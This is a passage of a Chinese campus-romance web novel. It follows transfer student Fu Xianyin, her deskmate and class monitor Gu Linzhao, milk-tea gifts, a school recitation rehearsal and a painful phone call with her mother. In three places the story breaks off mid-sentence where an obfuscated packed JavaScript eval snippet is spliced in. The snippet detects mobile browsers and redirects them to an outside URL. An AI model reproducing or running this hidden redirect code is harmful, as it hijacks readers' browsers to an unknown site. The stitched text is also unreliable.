被美女夸了好看,程昭昭一下就觉得自己和傅弦音距离拉进了许多。她拖着下巴看傅弦音,问道:“音音,你会不会什么才艺呀,下周文艺汇演,我们班还差一个节目的,你能顶上去吗?” 傅弦音有些意外地看她:“你是文艺委员呀。” 她还以为宋瑶歌是文艺委员呢。 程昭昭毫不避讳地道:“本来是她,但是她是舞蹈生嘛,马上要舞蹈集训了,所以高姐随便点我来当了。现在班里只有宋瑶歌的一个节目被选上去了,今天下午还有一轮表演,你要不要试一试。” 说完她也觉得可能性不大:“不过时间太紧了,来不及准备节目的。” 傅弦音没说好也没说不好,只脱着下巴乖乖听程昭昭絮叨。 程昭昭是个小话痨,贼能说,傅弦音几乎插不进话去,只是偶尔跟着附和几句。 一直到了体育课下课,铃声响起时程昭昭还恍若未闻,直到后门被嘭得一声踹开,林安旭看着程昭昭坐在傅弦音边上,笑道: “哎不是,程昭昭,你这么快就跟美女姐姐搭上伴了。我看你这么能说,高姐怎么不让你坐讲台边上呢?” 程昭昭叉着腰怼他:“坐讲台边上又不是看说话多不多,我说话多但我都是课下说,你说话不多但你扣分多啊,你不坐讲台谁坐讲台。” 程昭昭说完,傅弦音明显感觉到旁边一道视线看了过来。 她别开脑袋,只当感受不到。 林安旭瞧着跟程昭昭关系不错,听着这话也顺着往下说:“那是之前,我早就改过自新好好做人了,不信你问班长,现在扣分表上扣分最多的人是谁?” 程昭昭不服输:“问就问,肯定还是你。” 傅弦音心说还真不一定是他。 她昨天哐哐往下咧了8分,估计在校规校纪十分严明的北川一中十五班已经是一骑绝尘的存在。 林安旭催促着顾临钊看扣分本,顾临钊拿起来翻了两下,视线下移,和傅弦音对视。 傅弦音有些心虚地咽了口唾沫,然而只听身边的人说道: “你生物作业补完了吗?” 林安旭本来还嬉皮笑脸的,闻言立马垮下脸来,他看了眼几乎快要指到上课时间的指针,瘪着嘴道: “没有。” 顾临钊笑了声:“嗯,那你确实是扣分扣得最多的。” “多少分啊。” 傅弦音忽然插嘴问道。 顾临钊似笑非笑睨她一眼,声音微微上扬:“九分。” 好家伙。 她险胜一分。 上课铃声适时打响,林安旭和程昭昭赶紧走回前面的座位。傅弦音掏出生物课本,准备认真听课。 她学习习惯还是蛮好的,和前面一节课恨不得回500次头看什么时候下课的林安旭相比,傅弦音学习起来很专注,几乎是可以两耳不闻窗外事。 一直熬到生物课下课,她伸了个懒腰,忽然感受到书桌内一片嗡嗡的振动。 她掏出来看了一眼,来电提示上陈慧梅三个字格外瞩目。 傅弦音看着联系人的名字闪了半天然后自动灭掉,没几秒钟再次闪了起来,她就知道自己躲不过了。 刚好,宋瑶歌从前面绕了过来,她忽略傅弦音直接奔向顾临钊,手指在身前暗戳戳搅在一起: “班长,我今天下午自习课要去排练节目,我跟你请个假。” 顾临钊公事公办地说道:“请假这种事要找班主任。” 宋瑶歌拿出早就准备好的理由,说道:“我和班主任说过了,就是跟你再说一遍,我怕到时候你看我不在,扣我的分。” 傅弦音忽然插嘴道:“原来班长也会扣冤枉分呀?” 顾临钊声音没什么情绪:“扣不扣冤枉分你不知道?” 语气还是顾临钊一贯的冷酷无情,但这话说得多少有些熟稔的感觉。 宋瑶歌顿时倍感尴尬,她抿抿嘴唇,从后门跑了出去。 手上电话即将再次自动挂断,傅弦音来不及出去接,只好在教室内就点开了绿色的按钮。 电话里,陈慧梅的哭腔明显:“音音啊,你爸又去鬼混了,这日子……” 她声音一如既往的大,这个距离下顾临钊肯定能听得见,傅弦音深吸一口气,转身跑出了教室。 林安旭过来时看到的就是傅弦音的背影,他有些意外:“美女姐姐腿不是摔伤了吗?能跑吗?” 顾临钊没说话,这反应也在林安旭意料之中。他拉着顾临钊就往外走:“站了一节课累死我了,快陪我买杯奶茶去。” 他本来也就是象征性说一声,没想到顾临钊真的站起身来跟他出了教室。 课间不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060434|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩几分钟了,好在奶茶店有一批做好的奶茶,倒是省了等的时间了。 林安旭拿了一杯抹茶味道的新品,结完账刚准备走,就看到顾临钊犹犹豫豫地拿了一杯杨枝甘露去结账。 他看着顾临钊手里的奶茶,不可思议道:“你不是从来不喝奶茶的吗?” 顾临钊没否认,他晃了晃瓶子,把底下的芒果泥摇匀,说道:“给我同桌的。” 傅弦音电话里的声音他听得清楚,女孩跑出去时的情绪变化他也察觉到了。 说不清楚什么心理,反正林安旭拉他买奶茶的时候,他忽然就觉得得给傅弦音买一杯。 两人进教室时傅弦音已经回座位了,顾临钊入目就是自己桌上的一杯黄澄澄的饮料。 这个颜色,这个样子,看起来和他手里拎的杨枝甘露怎么这么他妈像。 他有些沉默地坐回作为,傅弦音听见身边动静,转头跟顾临钊介绍:“这是我刚去奶茶店给你买的,你刚才帮了我,我表达……” 表达一下感谢。 话音在她看到顾临钊手里那杯一模一样的杨枝甘露时戛然而止。 顾临钊神情有些复杂:“我这杯……” 也是给你买的。 傅弦音没领会到他的意思,自顾自的开始纠结:“你也喜欢喝杨枝甘露?那看来我没买错,你两杯喝的下吗?这玩意放到下午应该不会坏吧……” 顾临钊打断了她的纠结,决定和同桌坦诚相待:“我这杯是买给你的。” 买给你的。 给你的。 你的。 这四个字在傅弦音脑海里循环播放,她很快就明白过来怎么回事。 她这个好心善良的同桌班长听到了她家那档子破事之后良心大发决定给她买一杯奶茶。 既然如此。 傅弦音也没跟他客气,接过那杯杨枝甘露就插了吸管喝了起来。 喝了一口,她皱了皱眉头,再次确认一番后,她转头很认真地看向顾临钊:“你是不是没加脆啵啵。” 顾临钊愣了一下,接着仔细思索脆啵啵是个什么玩意。 傅弦音恨铁不成钢地叹了口气,她指了指自己那杯世界上最完美的杨枝甘露说道:“你尝尝,里面那个脆脆的咯吱咯吱的就是脆啵啵。” 顾临钊没拒绝她的好意,插进吸管喝了一口,果然尝到了几颗脆脆的咯吱咯吱的东西。 傅弦音煞有介事地说道:“杨枝甘露一定要加脆啵啵,不加脆啵啵的杨枝甘露都是没有灵魂的杨枝甘露。你相信我,什么都可以不加,但是脆啵啵一定要加,这是我买了无数次杨枝甘露的出来的经验。” 顾临钊皱皱眉:“所以你为了尝试,买了无数次的杨枝甘露?” 不会喝腻吗? “对啊。” 傅弦音挺直腰板,自豪道:“这是对于杨枝甘露的态度,它配得上。” 上课铃声打断了傅弦音接下来的教学。 顾临钊看着语文课本上的文言文,觉得自己刚才脑子一定是不太清醒。 不然他为什么要听傅弦音的杨枝甘露小课堂,还认真提出了自己的问题。 5. 看路 傅老师的杨枝甘露小课堂一直持续到上课才意犹未尽的停止。 顾临钊被迫听了一堆知识,上课前,他下意识地喝了一口桌上的杨枝甘露。 脆啵啵脆爽弹牙,混在酸甜的芒果泥和醇香的椰奶中增添了不少风味。 真挺好喝的,他想。 这节课是自习,上课铃打响之后傅弦音就没再说话,她专心致志地刷题,在下课前五分钟偷偷用手机各种搜索,罗列出了自己要额外买的习题。 下课后,前排的程昭昭立马过来找傅弦音:“音音,要不要一起去吃个午饭!” 傅弦音想了想:“你要在校内吃吗?我午休前打算出去一趟,我想去买几本书的。校内吃可能来不及,抱歉啊。” 说话间,宋瑶歌从后排绕过,她拿了个水杯,在最后面的饮水机蹲着接水。 说是接水,视线却一直往顾临钊身上瞟。 林安旭听到了傅弦音的话,插嘴道:“美女姐姐,你腿破了就别往外跑那么远呗?你要买啥书,你跟我说,我正好中午要和钊哥出去吃饭,我顺道给你买了。” 程昭昭这才知道傅弦音腿破了,她低头看到女孩膝盖上一片明显的痕迹,“啊”了一声,说道: “音音你怎么摔成这样,林安旭说得对,你还是别往外跑了,少走点路。” 傅弦音笑笑:“没事,问题不大,过几天就好了。”她冲程昭昭眨眨眼:“我还打算下午去看看文艺汇演来着,你不是说还差个节目吗?” 顾临钊在边上适时提醒:“下午有课,擅自旷课算逃课,扣五分。” 他别有深意地说了一句:“林安旭现在才九分。” 言外之意就是你自己算算这加起来是多少分。 傅弦音维持着表面的微笑,心里把顾临钊扎了一万遍小人。把桌上的纸条递给林安旭:“那就麻烦你了啊,你买完跟我说多少钱,我转你。” 宋瑶歌不知道是不是端了个大号暖瓶,一杯水还没接完。傅弦音看了眼下午的课表忽然问道:“那如果节目不够会怎么样?” 程昭昭道:“节目不够的话主任可能会来我们班指派?不过也就是唱歌朗诵之类的节目了。” 傅弦音点了点头,忽然生出点坏心思,她拿起桌上的杨枝甘露喝了一口,说道:“那我去看看呗,我唱歌也挺好听的,说不定就被选上了?” 顾临钊有些头疼地捏了捏额角,他视线下垂,言简意赅道:“你的腿。” 这话说得单纯,甚至连关心的意思都不太有,傅弦音听起来都更像是顾临钊在挤兑她。 然而落在后面宋瑶歌的耳朵里,却有些别样的含义。 她抿抿嘴,拿着水杯从后门出去,傅弦音心里不禁好笑。 幼稚是真他妈幼稚。 但爽也是真他妈爽。 傅弦音本来也没打算下午去文艺汇演出节目,就是皮一把让自己开心开心罢了。宋瑶歌走了后她也跟顾临钊表了衷心,明确自己下午不会逃课。 校外,林安旭看着纸条上清秀的字迹啧啧称叹:“没想到啊,美女姐姐竟然是个好学生。” 顾临钊睨他一眼:“你上午不是刚抄过人家作业?现在才知道人家学习好?” “那是两码事。”林安旭摇头:“主要是第一印象太根深蒂固了,你懂吧,我还以为美女姐姐是要我给她买烟来着。” 顾临钊走进书店:“买烟也不会当着我的面买。” 给傅弦音十个胆子傅弦音估计都不敢。 两人在书店挑挑拣拣,林安旭专心帮傅弦音挑书,顾临钊瞥了一眼后把自己买的参考书每本又多拿了一份。 然后又额外拿了一本书单上没有的生物题。 傅弦音好像生物不好,看她的书单也是重点要补生物的。 结账时,林安旭看着拿了一堆书的顾临钊震惊不已:“不是,你买这么多书?” 顾临钊轻描淡写:“给我同桌也带了一份。” 他拍了林安旭一把,指了指空出来的收银台,言简意赅:“结账。” 午休时间不长,傅弦音吃完饭睡个觉就差不多到点了。 她看了眼时间,刻意又去了一趟小卖部。除了给林安旭买了一杯杨枝甘露以外,还给顾临钊扯了两袋芒果干。 不出她所料,林安旭果然死活不收她钱。 于是傅弦音把杨枝甘露塞给了林安旭:“诺,那先请你喝杯奶茶吧,改天腿好了我再请你吃饭。” 林安旭接过杨枝甘露瞥了一眼,“啧”了一声:“怎么你们都爱喝杨枝甘露,不对,是你爱喝杨枝甘露吧,钊哥上午给你买的时候也买了一杯杨枝甘露。” 傅弦音没否认:“对,我爱喝杨枝甘露,但是我买的这杯和他买给我的不一样。”她指了指杯子上的标签,有些骄傲:“我加了脆啵啵,他给我买的没加。” 林安旭对奶茶也很感兴趣:“加了脆啵啵会好喝很多吗?” 傅弦音甩甩马尾:“当然,不信你问班长。”她戳了戳顾临钊的胳膊,指了指桌上的奶茶:“班长,我给你买的加脆啵啵的杨枝甘露,是不是比——” 她拖了长音,指了指自己桌上那杯普通版的:“是不是比你给我的这杯好喝很多?” 顾临钊意外地没驳她,而是点了点头:“嗯。” 话音刚落,傅弦音忽然抬头,猝不及防和林安旭后面路过的宋瑶歌对视。 对方的眼里是毫不掩饰的嫉妒,还有些许的难过。 宋瑶歌看着顾临钊桌上的杨枝甘露,眼神一下暗了下去。 顾临钊不喝奶茶她是知道的,之前她也给顾临钊买过饮料,很巧也是杨枝甘露,结果被顾临钊以不喝为由拒绝了。 而和他形影不离的林安旭每次也只给自己买,这更让宋瑶歌坚定了顾临钊是对事不对人这个想法。 然而现在,那杯奶黄色的杨枝甘露好像在赤裸裸地嘲讽她。 他不是不喝饮料,也不是不喝杨枝甘露。 只是不喝她送的。 宋瑶歌抿抿唇跑开了。 傅弦音:…… 妈的,她这次真的不是故意的。 林安旭粗大的神经完全没察觉到这一点,他喝了一口傅弦音版世界上最完美杨枝甘露后舒心地叹了一声: “确实好喝。” 下午倒是没再发生什么小插曲,宋瑶歌第二节上课前就去参加文艺汇演二轮表演了。 第二节课下课后,老师刚收好课本,忽然前门被人敲了敲,走进来一个中年男人。 中年男人环顾一圈,问道:“你们班文艺委员是谁?” 程昭昭站起来:“我。” 来人是负责文艺汇演的主任,程昭昭知道他的来意,没等对方继续问,程昭昭就开口道:“我们班之前报了五个节目,但是只有宋瑶歌的一个选上去了,班主任说就先上一个。” 主任皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060435|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了皱眉头,忽然瞥到最后一排的傅弦音和顾临钊。 这俩人相貌出色不说,右边的男生是班长,肯定是品德兼优,左边的姑娘据说是新转进来的学生,他爸给学校花了大价钱。 主任思忖片刻就有了答案,他指了指傅弦音和顾临钊,说道:“你们两个出来一下。” 顾临钊放下课本站起身来,看着早就走神了的傅弦音,敲了敲她桌子道:“主任让你出来一下。” 傅弦音奥了一声,跟着顾临钊出了教室。 主任上上下下打量了好几遍,满意地道:“你们班还差一个节目,我想让你们两个结尾朗诵一下,这是演讲稿,你们看看,下节课来排练一下。” 顾临钊接过演讲稿,点了点头。 傅弦音还在状态之外,等主任走了之后她悄咪咪问了一句:“这算是内定了吗?” 内定个节目这种不算稀奇,她之前也碰上过。 无非是她长得漂亮,给学校撑面,再就是傅东远财大气粗,给了不少钱。 顾临钊犹豫一下,点了点头。他看向傅弦音右腿膝盖,说道:“主任让下节课去小礼堂彩排,小礼堂在顶楼。” 傅弦音:“好,那你等我一下,我去拿个水杯。” 膝盖上的伤到底是疼的,顾临钊走在她前面,速度倒也放得很缓。傅弦音跟着他走到小礼堂门口,她手里拿着演讲稿,此刻正熟悉稿子,没注意到小礼堂门口有些高度的门槛。 “哐当——” 傅弦音猝不及防被绊住,她身子前倾,整个人踉跄着往前跌去。 然后落入了一个有力的怀抱。 顾临钊反应很快,听到声音就知道傅弦音摔了。小礼堂这个门槛让不少人都在这栽过,他在路上甚至还在想傅弦音会不会摔。 果真摔了。 他稳稳地接住了扑过来的女声,托住了她的小臂。 两人离得很近,顾临钊甚至能闻到她身上的洗衣液味。 是昨天去买东西时买的苹果味的。 清甜的苹果香气瞬间环绕了他,少女柔软的发丝微微扫到他的脖子,弄得有些痒。 傅弦音借了把力就自己站好,然而伤腿忽然一吃力,痛的她忍不住抽了声气:“嘶——” 顾临钊的手臂还没松开,他有些温热的手掌一直贴着她的胳膊,掌心有些粗粝的茧轻轻地磨着她白嫩的胳膊。 男生疏朗的声音从头顶传来:“小心点,走路看路。” 傅弦音笑了笑,张嘴就没个正形:“谢谢班长,大恩大德难以为报,我一定小心翼翼不给班级扣分。” 顾临钊似是被她逗乐,低笑一声。 讲台上,宋瑶歌看着门口的两人,指甲都掐进了掌心。 没一会,主任过来分配任务:“再给十分钟排练,以班为单位,等会一个班一个班来。” 每个班都找了个空地开始排练自己的节目,顾临钊和傅弦音也走到宋瑶歌面前,按照刚才主任划分的地方开始排练。 宋瑶歌是个人独舞,她看了眼顾临钊,鼓起勇气问道:“顾临钊,你是什么节目呀?” 她问的你,不是你们。 她默认顾临钊和傅弦音不是一个节目,或者说,她从内心不希望,于是嘴上也带了侥幸。 然而顾临钊的话却打破了她最后一丝妄想。 男生修长的手指打开折起的纸。他说道:“是和傅弦音一起的双人朗诵。” 6. 刺 傅弦音都不用看就能感受到宋瑶歌充满敌意的目光。 但此情此景她也说不出什么话,只好打开演讲稿开始熟悉稿子。 诗歌叫《青春颂歌》,不长,傅弦音扫了一眼就有了大概。她百无聊赖地坐在凳子上晃荡腿,忽然肩膀被人戳了戳。 是顾临钊。 他俯下身道:“主任找我有事,等会彩排的话你先替我顶一下。” “哦,好。” 傅弦音点点头,握着薄薄的一张纸,有些后悔没把手机带过来。 无他,就是现在干楞楞的坐着,还真有点无聊。 “好,来我们正式走一遍流程。” 音乐老师陈燕在边上敲了敲教杆,让大家准备好。 彩排没按顺序,第一个轮到的是宋瑶歌的独舞。宋瑶歌有些失落地看了一眼台下,顾临钊还没回来。 心思本来就没放在这件事上,等她准备好时,音乐已经响了起来。 她对上陈燕不虞的脸,急忙摆好动作,然而慌乱之下脚底打滑,她一个没站稳,踉跄了好几步。 伴奏被陈燕掐断,宋瑶歌脸都白了。 陈燕对她的舞蹈要求很高,此刻已经临近文艺汇演,还出现站不稳跟不上伴奏这样的失误,老师肯定不会轻易放过她。 果然,陈燕有些严厉的声音响了起来:“宋瑶歌,你的节目很久以前就已经通过了,我让你回去好好再精进一下,你精进到哪里去了?” 宋瑶歌低头不语,此刻只庆幸顾临钊不在这里,没有看到她如此狼狈的一面。 陈燕丝毫没有顾及她的情绪,继续道:“马上就要集训了,你现在这种水平,你有为自己未来考虑过吗?” 泪水在眼眶中打转,当着这么多人的面被批评,宋瑶歌脸上挂不住,她喉头有点哽意,刚要开口,一道明亮的声音忽然传来: “老师,宋瑶歌上午体育课脚腕扭伤了,还没好全。” 是傅弦音。 陈燕转头,看向声音的主人。傅弦音的目光没有移开片刻,她接着道:“是真的,老师。我今天上午和她撞到一起了,她伤的没我重,轻微扭伤,过两天就好了。” 她的裤子今天中午简单地洗了一下,膝盖位置的泥土和血渍洗掉了,但是破的口子还没来的急缝。 陈燕看了一眼,对宋瑶歌说道:“回去喷点云南白药,这几天好好养养。” 看着架势是不计较刚才宋瑶歌的失误了。 宋瑶歌点点头,慢步从舞台上走下。 她脚腕其实就是磕了一下,根本没那么严重。刚才失误也不是因为脚腕的伤,而是自己走神了。 她看了傅弦音一眼,女孩把伤腿搭在一旁的座椅扶手上,在那里继续看演讲稿。 宋瑶歌抿抿唇,没说话,在傅弦音左边隔两个空的位子坐下了。 所有的节目都排练的差不多了,除了临时加上的傅弦音和顾临钊的双人朗诵。 刚才出的那个风头让陈燕对傅弦音印象深刻,此刻一圈节目轮完,她转头看向傅弦音,问道: “你是什么节目?” 傅弦音站起来,晃了晃手中的演讲稿:“我是主任课间从十五班临时找的,和班长的双人朗诵。” 陈燕点点头,在节目单上加了一笔。 陈燕扬声道:“其他同学回去训练,下周三晚自习最后一次彩排,下周五晚上就要演出,你们好好准备。” 她对着傅弦音说道:“你留一下,我排一下你的节目。” 傅弦音乖乖巧巧地说好,然后绕过座椅上了舞台。 主任不知道要跟顾临钊说什么,他到现在还没来,傅弦音拿着笔在演讲稿上写写画画,把顾临钊的那一份也给记了下来。 “差不多就这些,动作什么的你们两个加一加。演出的时候记得穿身礼服,你和你搭档颜色记得统一一下。妆也记得画,搞正式点。” 陈燕又嘱咐了一句,她看着眼前的女孩,觉得自己最后一句话倒是有些多余。 长这么漂亮,化不化妆都不影响。 一直到陈燕走了,顾临钊才从后门回来。 傅弦音坐在舞台边缘,小腿垂在下面晃来晃去,听到声音伸了个懒腰,从舞台上跳了下去。 膝盖传来锐痛的时候傅弦音才意识到自己腿上还有伤。 她啧了一声,忽然有些烦躁。 “老师刚才跟我说了点节目的事,我记演讲稿上了,你等会回教室抄一遍吧。”傅弦音把演讲稿递给顾临钊,接着道:“奥,她还让穿身礼服,颜色统一点,你礼服是什么颜色的?我周末去买个同色系的。” 顾临钊:“都行,看你。” “这怎么看我?”傅弦音嗤笑一声:“我说想要绿色难不成你还能把你礼服变成绿的?” 傅弦音说完后才反应过来自己的话有些刺,她深吸一口气,说道:“抱歉,我不是那意思。” 顾临钊没说什么,傅弦音刚准备再找个话题问问顾临钊为什么去了那么久没回来,男生忽然递给她一部手机。 是她自己的手机。 “抱歉拿了你东西。”顾临钊说道:“我去找主任的时候碰到了高姐,然后回了教室一趟。” 他顿了顿:“你的手机,一直在响,我就拿出来了。” “我调了静音的。”傅弦音皱起眉头,开始怀疑是不是自己的记忆出现了偏差。 “是振动。”顾临钊言简意赅:“放在桌洞里,底下没垫东西,震动声音挺大。” 傅弦音“啊”了一声,接过手机,上面一串未接来电。 一半来自陈慧梅,另一半来自一个不认识的号。 傅弦音几乎一下子就颓了下去。 她薄瘦的肩膀忽的塌了,握着手机的手指用力到泛白。 顾临钊看出她的不对劲,适时开口:“我先回去了。” 傅弦音打开手机,先点进去了那个陌生号码。 是傅东远哪个小三小四小五,电话都打到她这里来了。 正想着,电话里忽然传出一个干净清爽的少年声:“喂?” 傅弦音愣了一下,慢半拍道:“……喂?” 那边的男生好像认识她:“是弦音姐姐吗?” 傅弦音皱起眉头:“你是……” “我是傅叶阳,这是我妈妈的手机,抱歉啊弦音姐姐,你把这个号码拉黑掉吧,下次别再接了。” 傅弦音喉咙有些干涩,她喝了口水,轻轻道:“好。” 傅叶阳是傅东远的私生子。 陈慧梅是傅弦音4年级时上位的,在那之前,傅叶阳和傅弦音因为相同的出身,和类似的母亲,有过一段惺惺相惜的童年友情。 在陈慧梅上位后,傅叶阳的妈妈和陈慧梅又开始了新一轮斗争,两个孩子也联系也慢慢的少了起来。 傅弦音并不讨厌傅叶阳,甚至长久以来,傅叶阳是为数不多和她有些交心的人,算半个朋友。 傅叶阳听傅弦音半天没说话,主动挑起话题:“弦音姐,你是不是转到北川来上学了?回头有空我们可以一起吃个饭。” 傅弦音笑了笑:“好啊。” 她知道傅叶阳也在北川市,就在北川大学附中,一所和北川一中差不多的重点高中。 傅叶阳行动力很强:“这周末行吗?我周末休息,正好可以出学校。对了弦音姐,你微信发我一下吧,我们加个微信。” “搜这个手机号就行。”傅弦音说道,她看了眼时间,轻轻道:“先不说了,我先回去上课了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060436|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来以为要和傅东远的情妇纠缠一番,没想到是傅叶阳,傅弦音心情短暂地好了些。她等了等,等到自己的情绪往上提升了许多后,才再给陈慧梅播过去了电话。 电话已接通,傅弦音就抢先道:“我在上课,上课时间不要给我打电话。很影响我的学习效率。” 陈慧梅那边好像被这句话噎了一下。过了几秒她才哑着嗓子道:“李婵又来找傅东远了。” 李婵是傅叶阳的妈,另一个陈慧梅。 傅弦音低声道:“我知道,她给我打电话了。” 陈慧梅完全不在乎李婵是不是来傅弦音这里找事,她声音拔高八度:“你天天学习学习,成绩能考傅叶阳那么高吗?傅叶阳是年纪第一,以后是要进傅东远公司的,你为什么不转学去傅叶阳的学校,把他挤下来,狠狠的挤下来!” 她尖锐的声音忽然又带了哭腔:“音音啊,你能不能给妈妈争点气啊,妈妈只有你了。” 傅弦音平静道:“我能不能进傅东远公司,你不是早就知道了吗?” 她明知道陈慧梅接下来又会把原因全都归到她头上,但她就是忍不住继续说,像陈慧梅一样恶毒,像陈慧梅一样歇斯底里地说: “我是个女孩,你不是早就知道了吗?傅东远不会把傅家产业给一个女孩,你不是也早就知道了吗?那你还指望我什么,你指望我干什么?” 她说到最后已经近乎于怒吼,好像要把十几年陈慧梅对她的态度全都诉诸出口。 你都不关心我,你指望我什么呢? 陈慧梅接下来每一句话都在傅弦音意料之中,傅弦音把手机拿远,直到陈慧梅这一阵宣泄结束,才轻轻道:“我早都已经知道我是个女孩了,你看了我十几年,你怎么还是不知道呢?” 说完,她听着陈慧梅的喃喃,听着陈慧梅把电话掐断。 最后一节课还有十几分钟就要下课了,傅弦音也不想回教室,她磨磨唧唧地下楼梯,整个人有些魂不守舍。 她觉得自己这样子不行。 陈慧梅疯了十几年,眼下看起来甚至精神状态都不正常了,她不能指望陈慧梅好起来。 而每一次和陈慧梅交锋的结果都是这样,陈慧梅好不起来了,但是她不行。她必须要好起来。 这么想着,傅弦音慢慢回到教室,教室里的人已经在陆陆续续往外走了,傅弦音就在门口等着,等人都走完了才回到座位。 她趴在桌子上,出神地看着黑板。 小时候,她看着陈慧梅难过,自己其实想过为什么自己不是男孩。 这样妈妈就不会难过,爸爸也不会变心。 后来,随着年龄增长,她慢慢发现。 当女孩不是错,她没有错,错的是不知节制的陈慧梅,还有管不住自己的傅东远。 可那个“为什么不是男孩”的念头还是是不是的会在傅弦音脑子里溜出来,然后大摇大摆地兜一圈。 她昏昏沉沉睡过去,忽然胳膊肘被人推了推。 是顾临钊。 他拿着一份干拌面问傅弦音:“吃饭了吗?” 傅弦音摇摇头:“没有。” 顾临钊对这个答案毫不意外,他把干拌面递给傅弦音:“吃点,还有十分钟开始上晚自习,你速度快点能吃完。” 他又把一杯杨枝甘露也放在了傅弦音桌子上。 傅弦音插上吸管,面前的干拌面很香,手边的杨枝甘露是常温的,没加冰。 傅弦音喝了一口杨枝甘露,忽然笑了起来,声音还有些哑:“加了脆啵啵啊。” 她看着顾临钊抽出□□拌面压住的演讲稿,然后从文件夹里取出自己的,开始誊抄她下午记的笔记。 傅弦音笑弯了眼:“真是孺子可教也。” 7. 贿赂 顾临钊没理她,傅弦音也没计较,干拌面就着一杯杨枝甘露很快就吃完了。 晚自习的作业写在黑板上了,傅弦音前两节晚自习头也没抬地一直在写作业,第二节晚自习下课铃声一打响,傅弦音干脆利落地合上书本,舒舒服服地伸了个懒腰。 桌洞里还放着中午她让林安旭帮忙买的书,傅弦音打算下节晚自习做一做。她拿出塑料袋,把里面的书一本一本取出来,数着数着忽然发现不对劲。 怎么好像比她记的那个书单,多了好几本? 傅弦音把那几本多的挑了出来,视线移动时,瞥到了顾临钊桌上一模一样的几本。 她心里有了个模糊的答案。 等顾临钊和林安旭回来时,傅弦音笑嘻嘻地看着他俩,指了指桌上的两摞习题:“谢谢啦。” 林安旭嘿嘿一笑:“别呀美女姐姐,都是小事,别说谢。” 顾临钊淡淡瞟了一眼道:“这几本书挺有用的。” 上课铃打响,林安旭小跑回前面座位,傅弦音拿出这几本习题册,又拿了个本子,边翻边写。 她是经历过一遍高三的人了,一中现在刚好在一轮复习刚刚开始的阶段,傅弦音翻了翻刚买来的习题册,在本子上记下了自己每日的课余任务。 傅弦音对自己很了解,理科对她来说最有用的办法就是刷题。她生物是薄弱项,这次买习题册也着重关注了生物的部分。罗列好数学物理每天该刷多少题后,傅弦音翻了翻生物的习题册,把任务定在了数学的3/2倍。 英语一直是她的强项,她不打算在英语上花太多时间。语文提升是个慢工出细活的过程,傅弦音打算继续按照去年的流程:古诗古文课外累计每日一篇,除此之外,每天花20分钟积累写作素材。 她是按照习题摞起来的顺序一点点捋的,最上面是数学物理,然后是生物,之后就是语文阅读理解。 把那本厚厚的阅读理解精选拿开后,傅弦音看着最下面躺着的那本化学习题愣住了。 换课的缘故,今天一天都没有化学,以至于傅弦音甚至忘记了十五班其实是纯理科班。 在原来的临澜,那边高考实行的是六选三,除去必考的语数英三门外,物化生政史地六门小课可以任选三门学习并参加高考。 傅弦音选的是物地生,没有化学。 北川也是六选三的制度,但是陈慧梅强制地把傅弦音的地理改成了化学,理由就是纯理更有前途。 丝毫没有考虑过傅弦音本人的意愿。 傅弦音翻了翻化学习题,满书密密麻麻的公式运算,她绝望的发现她连第一单元都看不懂了。 从高一分班后,到现在。 她已经整整两年没学过化学了。 看着明天课程表排在第一位的化学,傅弦音顿觉头大如斗。 她翻着化学习题册的目录,照着数学物理的每日任务,给化学也列了每日任务。 等做完这些,这节晚自习已经过去一半了。 这样不行,傅弦音心想。 从6月到现在,整整三个半月的时间,傅弦音一点习都没学。知识遗忘的速度非常可怕,做题的手感也消失了大半。 就拿今天上午那张数学卷子举例,哪怕高姐说了它有难度,但是傅弦音心里知道,这张卷子的难度放在她从前根本不算什么,一节早读刷完一张卷子可以说是绰绰有余。 然而做题时的艰涩让傅弦音清晰的认识到,她退步了,非常明显的。 数学不算她的弱势科目都尚且如此,真正的弱势科目生物和残废科目化学,傅弦音都不敢想象自己会是什么样。 离月考只有两个星期,这两个星期内她要用最快的速度让自己其他的科目回到之前的状态,这样才能有越多的时间留给化学。 她的笔记和错题集全都在临澜,她要尽快回去拿一趟。 想到这,她本能地想从桌洞摸出手机查机票,手指碰到冰凉的屏幕的瞬间,傅弦音才恍然想起自己身边做了个定时炸弹。 呼—— 她长出一口气。 好险好险,上课玩手机,差点被抓到了又要扣分了。 摊开空白的化学习题仿佛在向她招手,傅弦音深吸一口气,掏出笔,从零开始,艰涩地开始学起了必修一。 叮铃铃—— 放学铃声响,傅弦音扔开了笔,起身去卫生间用凉水洗了把脸。 化学必修一和习题第一章就被她大喇喇地瘫在桌面上。 林安旭熬了三节晚自习,实在是熬不住了,放学铃声一响,他就像开了倍速似的迅速收拾好了自己的东西,走到最后一排。 眼见傅弦音的位置空着,他也没客气,书包一扔,一屁股就坐了下去。 